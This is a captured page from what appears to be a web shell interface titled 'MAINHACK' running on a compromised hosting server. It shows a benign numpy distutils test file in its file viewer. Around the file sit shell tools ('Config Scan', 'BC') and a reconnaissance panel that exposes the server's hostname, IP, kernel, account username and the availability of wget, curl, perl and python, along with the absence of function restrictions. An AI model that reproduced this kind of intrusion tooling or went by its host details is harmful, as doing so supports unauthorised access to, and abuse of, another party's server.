[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: test_build_ext.py
File is not writable. Editing disabled.
'''Tests for numpy.distutils.build_ext.''' import os import subprocess import sys from textwrap import indent, dedent import pytest from numpy.testing import IS_WASM @pytest.mark.skipif(IS_WASM, reason="cannot start subprocess in wasm") @pytest.mark.slow def test_multi_fortran_libs_link(tmp_path): ''' Ensures multiple "fake" static libraries are correctly linked. see gh-18295 ''' # We need to make sure we actually have an f77 compiler. # This is nontrivial, so we'll borrow the utilities # from f2py tests: from numpy.f2py.tests.util import has_f77_compiler if not has_f77_compiler(): pytest.skip('No F77 compiler found') # make some dummy sources with open(tmp_path / '_dummy1.f', 'w') as fid: fid.write(indent(dedent('''\ FUNCTION dummy_one() RETURN END FUNCTION'''), prefix=' '*6)) with open(tmp_path / '_dummy2.f', 'w') as fid: fid.write(indent(dedent('''\ FUNCTION dummy_two() RETURN END FUNCTION'''), prefix=' '*6)) with open(tmp_path / '_dummy.c', 'w') as fid: # doesn't need to load - just needs to exist fid.write('int PyInit_dummyext;') # make a setup file with open(tmp_path / 'setup.py', 'w') as fid: srctree = os.path.join(os.path.dirname(__file__), '..', '..', '..') fid.write(dedent(f'''\ def configuration(parent_package="", top_path=None): from numpy.distutils.misc_util import Configuration config = Configuration("", parent_package, top_path) config.add_library("dummy1", sources=["_dummy1.f"]) config.add_library("dummy2", sources=["_dummy2.f"]) config.add_extension("dummyext", sources=["_dummy.c"], libraries=["dummy1", "dummy2"]) return config if __name__ == "__main__": import sys sys.path.insert(0, r"{srctree}") from numpy.distutils.core import setup setup(**configuration(top_path="").todict())''')) # build the test extensino and "install" into a temporary directory build_dir = tmp_path subprocess.check_call([sys.executable, 'setup.py', 'build', 'install', '--prefix', str(tmp_path / 'installdir'), '--record', str(tmp_path / 'tmp_install_log.txt'), ], cwd=str(build_dir), ) # get the path to the so so = None with open(tmp_path /'tmp_install_log.txt') as fid: for line in fid: if 'dummyext' in line: so = line.strip() break assert so is not None
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium171.web-hosting.com
Server IP: 162.0.209.115
PHP Version: 8.0.30
Server Software: LiteSpeed
System: Linux premium171.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 71.32 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: aircyknj
User ID (UID): 2056
Group ID (GID): 2052
Script Owner UID: 2056
Current Dir Owner: N/A